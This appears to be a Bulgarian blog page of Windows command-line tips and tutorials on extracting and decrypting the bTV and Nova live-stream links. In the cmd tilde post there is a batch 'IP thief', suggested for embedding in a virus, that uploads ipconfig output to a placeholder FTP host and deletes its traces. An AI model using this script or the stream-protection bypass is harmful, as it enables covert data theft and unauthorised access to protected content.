Windows 11 fix for slow shutdown and boot

I use this commands to fix slow shutdown on Windows 11.
Open cmd.exe with Run as Administrator and exec:

DISM.exe /Online /Cleanup-image /StartComponentCleanup
DISM.exe /Online /Cleanup-Image /Restorehealth
SFC /SCANNOW

Share and Enjoy !

Shares

Прихващане на Nova Live stream

В това видео ще покажа, как се взима ръчно файла с live stream на Нова ТВ. Има лека разлика спрямо прихващането на bTV стрийма, защото нова ползва iframe на външна страница.
Използвани инструменти:
firefox
wget (for windows)
pup html parser
ffplay (идва стандартно с ffmpeg)

Share and Enjoy !

Shares

Прихващане на bTV Live stream

bTV имат доста слабичка защита на стрийма. Нова поне ползват криптиране на стрийма с hls.key, което не е никакъв проблем за чупене, но пак е нещо. бТВ се защитават само с един динамично генериран адрес, който обаче е твърде достъпен, поне според мен. Сменят масива с адреси всеки ден, но факта, че присъства статично в ajax адрес, който може да се отвори и прочете от всеки, прави цялата защита смешна. За любителите на кепчъринга и за тираджиите прилагам скромно туториалче. Използваните инструменти са: Firefox, wget, jq, ffmpeg.

И по-лесния вариант за прихващане на видеото само с Firefox.

С тази техника може да се прихване почти всеки видео стрийм или да се свали видео файл. Когато видеото е криптирано, може да се записва стрийма, но по-инстересно е да се свалят всички файлове с високо качество и да се декриптират ръчно, като се ползва hls-ключ и оригиналните ts-файлове.

Ето и простичък PHP-код, който върши цялата работа по екстрактването на линка:

<?php
$wpage = file_get_contents("https://btvplus.bg/live/");

preg_match("@url: +'([^']*)@", $wpage, $m);

$config_page = file_get_contents("https://btvplus.bg".$m[1]);

$j = json_decode($config_page, true);

echo $j['info']['file'];
?>

Трябва да се отбележи, че bTV детектват, дали url-адреса се зарежда от чужбина и го ограничават (с http response code 301), но е много вероятно самия стрийм да не е ограничен. Не съм го пробвал. Хубавото е, че веднъж гепен адреса на стрийма, може да се гледа цял ден.

————————

И един бонус – сорс код за C#, който гепва стринга и го плейва с ffplay. За целта ffplay трябва да е в директорията с компилираното exe или в променливата Path на обкръжението на Win.

using System;
using System.Text.RegularExpressions;
using System.Net;
using System.IO;
using System.Diagnostics;


public class playBtv{
	static void Main(string[] args){
		string baseUrl = "https://btvplus.bg";
		string url1 = baseUrl + "/live/";
		ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
		WebClient client = new WebClient();

		string htmlCode1 = client.DownloadString(url1);
		string pattern = "url:";

		StringReader strReader = new StringReader(htmlCode1);
		string aLine, url2 = null;
		while(strReader.Peek() >= 0){
			aLine = strReader.ReadLine().Trim();

			if(aLine.Contains(pattern)){
				Match match = Regex.Match(aLine, @"([^']*)'([^']*)");
				url2 = baseUrl + match.Groups[2].Value;
				break;
			}
		}
		string htmlCode2 = client.DownloadString(url2);

		Match match2 = Regex.Match(htmlCode2, "(file\":\")([^\"]*)");
		string m3u8 = match2.Groups[2].Value.Replace("\\","");
		Process.Start("ffplay", m3u8);
	}
}

Компилира се с някой от наличните в Windows C# компилатори от .NET Frameworks. Примерно:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc /target:exe btv_play.cs

Share and Enjoy !

Shares

cmd tilde “~” – рязане на стринг в командния ред CommandPrompt

Windows cms съдържа един много полезен инструмент за рязане на стрингове. Това е тилдата – tilde (коя е тая Тилда бе???…). Ем ей тая “~”!
Това чудо брои от 0. Реже до колкото му кажеш и реже от тук до еди-колко-си, а синтаксиса е: %променлива:~начало,край%. Въобще не ме бива в лириката, но пък ме бива много в примерите :), за това ще покажа. Стартирате един cmd (Start -> Run -> cmd) и декларирате някаква променлива.

set a=0123456789
echo %a:~0,3%

Това връща резултата 012, защото в случая отрязахме стринга от нула до 2-я. Можем да отрежем от 3-я до 7-я, това би изглеждало така:

echo %a:~3,7%

Това ще ни върне: 3456789
Ех, че яка тая тилда!
Направо ми идва на идея да спретна един random генератор за batch :):

set r=%random%%time:~6,5%
echo %r%

В случая използвам и вградената команда за случайни числа на cmd – random. И след генерираното число добавям изрязани от командата за текущо време time секундите от текущия час, запетайка и стотните от текущия час. Резултата изглежда нещо от сорта:
1428246,37
А дали това не може да се използва за правенето на простичък крадец на ip-та, който да се навре в вирусче или нещо друго. Ако се възползваме от останалите възможности на cmd, като find

@echo off
set ip=%random%%time:~6,5%
ipconfig /all | find "IP Addres" > %ip%.txt
sleep 2
echo user POTREBITEL> ftpcmd.dat
echo PAROLA>> ftpcmd.dat
bin>> ftpcmd.dat
type %ip%.txt
echo put %ip%.txt >> ftpcmd.dat
echo bye >> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTPSITE.COM
del ftpcmd.dat
del %ip%.txt

Този скрипт ще вземе IP-адреса на компютъра, на който е стартиран и ще го качи на посочен от вас FTP-сървар.
Моля не използвайте този скрипт за лоши неща! Пазете си кармата!

Share and Enjoy !

Shares



findstr – Windows cmd regex

В една друга тема писах малко за търсене в stdout с find в cmd, но инструмента тук превъзхожда в пъти подобно търсене. Предполагам всеки любител или системен администратор си мечтае за възможността да ползва скоростта и мощността на търсещите конзолни инструменти от UNIX/Mac/Linux. В Windows е малко сложно да си настроите системата да изпълнява подобните команди през промпта, просто защото е супер орязан, а инсталирането на UnxUtils си е малко досадно понякога, а и задължително си иска ъпдейта, особено за sed и grep! Все пак малко успокоение е търсенето в файлове или в pipe-режим командата findstr.Тази команда може да работи с едни първобитни RegEx-и, които са доста далече от популярните и модерни PCRE. Но и поосакатено това търсене може доста да ни помогне.
За пример, да потърсим с кои програми се асоциират html файловете в Windows система, като ще използваме pipe-линия:

ftype | findstr "html"

При мен резултата от подобно търсене е:

accesshtmlfile="C:\Program Files\Microsoft Office\OFFICE11\MSACCESS.EXE"
Excelhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
Excelhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE"
htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome
mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome
powerpointhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
powerpointhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE"
wordhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"
wordhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE"

Командата разполага със следните възможности за търсене с регулярни изрази:

. Wildcard: any character
* Repeat: zero or more occurrences of previous character or class
^ Line position: beginning of line
$ Line position: end of line
[class] Character class: any one character in set
[^class] Inverse class: any one character not in set
[x-z] Range: any characters within the specified range
\x Escape: literal use of metacharacter x
\<xyz Word position: beginning of word
xyz\> Word position: end of word

Ключовете при стартиране на командата също могат да са полезни. За целта:

findstr /?

Share and Enjoy !

Shares



Windows Find command piping from CommandPrompt

В командният ред на Windows има една много приятна команда, която може да спести време. Командата Find. Тази команда може да се рови във файлове, но по-интересното е, че може да чете директно от stdout и да се включи в pipe. Пример за извличане само на IP-адрес от CommandPrompt:

ipconfig /all | find "IP Address"

Резултата от изпълнението на горната команда е:

IP Address. . . . . . . . . . . . : 10.37.112.18

Друг подобен пример е, ако знаем името на някой компютър в мрежата, но не знаем кой му е собственика, можем да потърсим само за този компютър:

net view | find "hpPC011004"

Много тъпо е, че find не поддържа поне wildcards!!! Но пък си имаме друг по-интересен инструмент findstr – Windows cmd търсене с регулярни изрази.

Стартирането на командния ред(cmd) в WinXp става през Start -> Run -> cmd. Всъщност има поне още една каруца начини.

Share and Enjoy !

Shares